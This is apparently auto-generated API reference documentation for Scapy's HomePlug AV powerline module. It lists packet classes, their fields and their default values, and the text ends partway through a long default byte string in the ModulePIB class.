class scapy.contrib.homeplugav.ConfigBit(_pkt, /, *, OverrideSoundCap=0, OverrideFailHoldDefaults=0, OverrideResourceDefaults=0, OverrideContentionWindowDefaults=0, OverrideUnplugDetectionDefaults=0, OverrideResoundDefaults=0, OverrideExpiryDefaults=0, DisableWorseChannelTrigger=0, DisableBetterChannelTrigger=0, DisableNetworkEventTrigger=0, rsv1=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L765-L778]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|O|O|O|O|O|O|O|D|D|D|    RSV1   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. ConfigBit                          


ConfigBit fields






	OverrideSoundCap

	BitField  (1 bit)

	0



	OverrideFailHoldDefaults

	BitField  (1 bit)

	0



	OverrideResourceDefaults

	BitField  (1 bit)

	0



	OverrideContentionWindowDefaults

	BitField  (1 bit)

	0



	OverrideUnplugDetectionDefaults

	BitField  (1 bit)

	0



	OverrideResoundDefaults

	BitField  (1 bit)

	0



	OverrideExpiryDefaults

	BitField  (1 bit)

	0



	DisableWorseChannelTrigger

	BitField  (1 bit)

	0



	DisableBetterChannelTrigger

	BitField  (1 bit)

	0



	DisableNetworkEventTrigger

	BitField  (1 bit)

	0



	rsv1

	BitField  (6 bits)

	0















	
class scapy.contrib.homeplugav.ContentionWindowTable(_pkt, /, *, element=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L781-L787]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L786-L787]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ELEMENT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ContentionWindowTable                    


ContentionWindowTable fields






	element

	XShortField

	0















	
class scapy.contrib.homeplugav.EventBlockArray(_pkt, /, *, EventPriorityID=0, EventID=0, BehID_1=0, BehID_2=0, BehID_3=0, ParticipatingGPIOs=0, EventAttributes=0, reserved_evb=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L817-L830]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L829-L830]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|EVENTPRIORITYID|    EVENTID    |    BEHID 1    |    BEHID 2    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    BEHID 3    |       PARTICIPATINGGPIOS      |EVENTATTRIBUTES|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          RESERVED EVB         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. EventBlockArray                       


EventBlockArray fields






	EventPriorityID

	XByteField

	0



	EventID

	XByteField

	0



	BehID_1

	XByteField

	0



	BehID_2

	XByteField

	0



	BehID_3

	XByteField

	0



	ParticipatingGPIOs

	XShortField

	0



	EventAttributes

	XByteField

	0



	reserved_evb

	XShortField

	0















	
scapy.contrib.homeplugav.FragmentCond(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L169-L174]

	A fragmentation field condition
TODO: To complete






	
class scapy.contrib.homeplugav.GPIOMap(_pkt, /, *, GPIOvalue=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L747-L753]

	Bases: Packet


	
aliastypes

	




	
extract_padding(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L752-L753]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   GPIOVALUE   |
+-+-+-+-+-+-+-+-+

                           Fig. GPIOMap                           


GPIOMap fields






	GPIOvalue

	XByteField

	0















	
class scapy.contrib.homeplugav.GetDeviceVersion(_pkt, /, *, Status=0, DeviceID=32, VersionLen=None, DeviceVersion=b'NoVersion\x00', DeviceVersion_pad=b'\xcc\xcc\xcc\xcc\xcc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', Upgradable=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L190-L197]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |    DEVICEID   |   VERSIONLEN  | DEVICEVERSION |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |       DEVICEVERSION PAD       |   UPGRADABLE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. GetDeviceVersion                       


GetDeviceVersion fields






	Status

	ByteEnumField

	0



	DeviceID

	ByteEnumField

	32



	VersionLen

	FieldLenField

	None



	DeviceVersion

	StrLenField

	b'NoVersion\x00'



	DeviceVersion_pad

	StrLenField

	b'\xcc\xcc\xcc\xcc\xcc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	Upgradable

	ByteEnumField

	0















	
class scapy.contrib.homeplugav.GetNVMParametersConfirmation(_pkt, /, *, Status=0, NVMType=19, NVMPageSize=256, NVMBlockSize=65536, NVMMemorySize=1048576)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L383-L389]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |                    NVMTYPE                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                  NVMPAGESIZE                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                  NVMBLOCKSIZE                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                 NVMMEMORYSIZE                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                Fig. GetNVMParametersConfirmation                 


GetNVMParametersConfirmation fields






	Status

	ByteEnumField

	0



	NVMType

	LEIntField

	19



	NVMPageSize

	LEIntField

	256



	NVMBlockSize

	LEIntField

	65536



	NVMMemorySize

	LEIntField

	1048576















	
class scapy.contrib.homeplugav.GetNVMParametersRequest(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L378-L380]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	








	
class scapy.contrib.homeplugav.HomePlugAV(_pkt, /, *, version=0, HPtype=40960, FragmentInfo=0, VendorField=[<VendorMME  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L1382-L1396]

	Bases: Packet

HomePlugAV Packet - by default => gets devices information


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L1395-L1396]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |             HPTYPE            |  FRAGMENTINFO |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          VENDORFIELD          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. HomePlugAV                          


HomePlugAV fields






	version

	ByteEnumField

	0



	HPtype

	EnumField

	40960



	FragmentInfo

	XShortField (Cond)

	0



	VendorField

	PacketListField (Cond)

	[<VendorMME  |>]











	
payload_guess

	Possible sublayers:
GetDeviceVersion, GetNVMParametersConfirmation, GetNVMParametersRequest, HostActionRequired, LoopbackConfirmation, LoopbackRequest, ModuleOperationConfirmation, ModuleOperationRequest, NetworkInfoConfirmationV10, NetworkInfoConfirmationV11, NetworkInformationRequest, QUAResetFactoryConfirm, ReadConfBlockConfirmation, ReadConfBlockRequest, ReadMACMemoryConfirmation, ReadMACMemoryRequest, ReadModuleDataConfirmation, ReadModuleDataRequest, ResetDeviceConfirmation, ResetDeviceRequest, SetEncryptionKeyConfirmation, SetEncryptionKeyRequest, SnifferConfirmation, SnifferIndicate, SnifferRequest, StartMACConfirmation, StartMACRequest, WriteModuleData2NVMConfirmation, WriteModuleData2NVMRequest, WriteModuleDataRequest










	
class scapy.contrib.homeplugav.HostActionRequired(_pkt, /, *, ActionRequired=2)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L315-L320]

	Bases: Packet

Embedded Host Action Required Indice


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ACTIONREQUIRED|
+-+-+-+-+-+-+-+-+

                     Fig. HostActionRequired                      


HostActionRequired fields






	ActionRequired

	ByteEnumField

	2















	
class scapy.contrib.homeplugav.LoopbackConfirmation(_pkt, /, *, Status=0, Duration=1, LRlength=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L331-L335]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |    DURATION   |            LRLENGTH           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. LoopbackConfirmation                     


LoopbackConfirmation fields






	Status

	ByteEnumField

	0



	Duration

	ByteField

	1



	LRlength

	ShortField

	0















	
class scapy.contrib.homeplugav.LoopbackRequest(_pkt, /, *, Duration=1, reserved_l1=1, LRlength=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L323-L328]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    DURATION   |  RESERVED L1  |            LRLENGTH           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. LoopbackRequest                       


LoopbackRequest fields






	Duration

	ByteField

	1



	reserved_l1

	ByteField

	1



	LRlength

	ShortField

	0















	
class scapy.contrib.homeplugav.MACManagementHeader(_pkt, /, *, version=0, HPtype=40960)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L177-L182]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |             HPTYPE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. MACManagementHeader                     


MACManagementHeader fields






	version

	ByteEnumField

	0



	HPtype

	EnumField

	40960















	
class scapy.contrib.homeplugav.ModuleOperationConfirmation(_pkt, /, *, Status=0, ErrorCode=0, reserved=0, NumOpData=1, operation=0, OPDataLength=18, reserved_1=0, SessionID=0, ModuleIDX=0, ModuleID=28674, ModuleSubID=0, ReadDataLen=None, ReadOffset=0, ModuleData=b'\x00', WriteDataLen=0, WriteOffset=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L535-L576]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             STATUS            |           ERRORCODE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   NUMOPDATA   |           OPERATION           |  OPDATALENGTH |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                   RESERVED 1                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                   SESSIONID                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |   MODULEIDX   |            MODULEID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          MODULESUBID          |          READDATALEN          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           READOFFSET                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           MODULEDATA          |          WRITEDATALEN         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          WRITEOFFSET                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. ModuleOperationConfirmation                 


ModuleOperationConfirmation fields






	Status

	LEShortField

	0



	ErrorCode

	LEShortField

	0



	reserved

	XIntField

	0



	NumOpData

	XByteField

	1



	operation

	LEShortEnumField

	0



	OPDataLength

	LEShortField

	18



	reserved_1

	XIntField

	0



	SessionID

	LEIntField (Cond)

	0



	ModuleIDX

	XByteField (Cond)

	0



	ModuleID

	LEShortField

	28674



	ModuleSubID

	LEShortField

	0



	ReadDataLen

	FieldLenField (Cond)

	None



	ReadOffset

	LEIntField (Cond)

	0



	ModuleData

	StrLenField (Cond)

	b'\x00'



	WriteDataLen

	LEShortField (Cond)

	0



	WriteOffset

	LEIntField (Cond)

	0











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L564-L576]

	








	
class scapy.contrib.homeplugav.ModuleOperationRequest(_pkt, /, *, reserved=0, NumOpData=1, operation=0, OPDataLength=None, reserved_1=0, SessionID=0, ModuleIDX=0, ModuleID=28674, ModuleSubID=0, ReadDataLen=1400, ReadOffset=0, WriteDataLen=None, WriteOffset=0, ModuleData=b'\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L493-L532]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   NUMOPDATA   |           OPERATION           |  OPDATALENGTH |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                   RESERVED 1                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                   SESSIONID                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |   MODULEIDX   |            MODULEID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          MODULESUBID          |          READDATALEN          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           READOFFSET                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          WRITEDATALEN         |          WRITEOFFSET          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           MODULEDATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. ModuleOperationRequest                    


ModuleOperationRequest fields






	reserved

	XIntField

	0



	NumOpData

	XByteField

	1



	operation

	LEShortEnumField

	0



	OPDataLength

	LEShortField

	None



	reserved_1

	XIntField

	0



	SessionID

	LEIntField (Cond)

	0



	ModuleIDX

	XByteField (Cond)

	0



	ModuleID

	LEShortField

	28674



	ModuleSubID

	LEShortField

	0



	ReadDataLen

	LEShortField (Cond)

	1400



	ReadOffset

	LEIntField (Cond)

	0



	WriteDataLen

	FieldLenField (Cond)

	None



	WriteOffset

	LEIntField (Cond)

	0



	ModuleData

	StrLenField (Cond)

	b'\x00'











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugav.py#L520-L532]

	








	
class scapy.contrib.homeplugav.ModulePIB(_pkt, /, *, FirmwareMajorVersion=0, PIBMinorVersion=0, reserved_1=0, PIBLength=0, reserved_2=0, checksumPIB=None, PIBMACAddr='00:00:00:00:00:00', DAK=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', reserved_3=0, ManufactorID=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', NMK=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', UserID=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', AVLN_ID=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', CCoSelection=0, CoExistSelection=0, PLFreqSelection=0, H3CDowngradeShld=0, PreferredNID=b'\x00\x00\x00\x00\x00\x00\x00', AutoFWUpgradeable=0, MDUConfiguration=0, MDURole=0, SnifferEnabled=0, SnifferMACAddrRetrn='00:00:00:00:00:00', WireTapEnable=0, reserved_4=0, StaticNetworkEnabled=0, LD_TEI=0, CCo_MACAdd='00:00:00:00:00:00', SNID=0, NumOfPeerNodes=0, PeerNodes=[''], reserved_5=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', OverideModeDefaults=0, DisableFlowControl=0, AdvertisementCapabilities=0, OverrideMeteringDefaults=0, MaxFramesPerSec=0, DisableAutoNegotiation=0, EnetSpeedSetting=0, EnetDuplexSetting=0, DisableTxFlowControl=0, DisableRxFlowControl=0, PhyAddressSelection=0, PhyAddressSelection_Data=0, reserved_6=0, Force33MHz=0, LinkStatusOnPowerline=0, OverrideIdDefaults=0, OverrideSubIdDefaults=0, PCIDeviceID=0, PCIVendorID=0, reserved_7=0, PCIClassCode=0, PCIClassCodeSubClass=0, PCIRevisionID=0, PCISubsystemID=0, PCISybsystemVendorID=0, reserved_8=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', OverrideIGMPDefaults=0, ConfigFlags=0, NumCpToSend_PLFrames=0, reserved_9=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', UniCastPriority=0, McastPriority=0, IGMPPriority=0, AVStreamPriority=0, PriorityTTL_0=0, PriorityTTL_1=0, PriorityTTL_2=0, PriorityTTL_3=0, EnableVLANOver=0, EnableTOSOver=0, reserved_10=0, VLANPrioTOSPrecMatrix=0, NumClassifierPriorityMaps=0, NumAutoConnections=0, ClassifierPriorityMaps=[''], AutoConnections=[''], NumberOfConfigEntries=0, AggregateConfigEntries=[''], RSVD_CustomAggregationParameters=[''], reserved_11=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', ToneMaskType=0, ToneMaskEnabled=0, StartTone=0, EndTone=0, reserved_12=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', PsdIndex=0, TxPrescalerType=0, PrescalerValues=[''], reserved_13=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\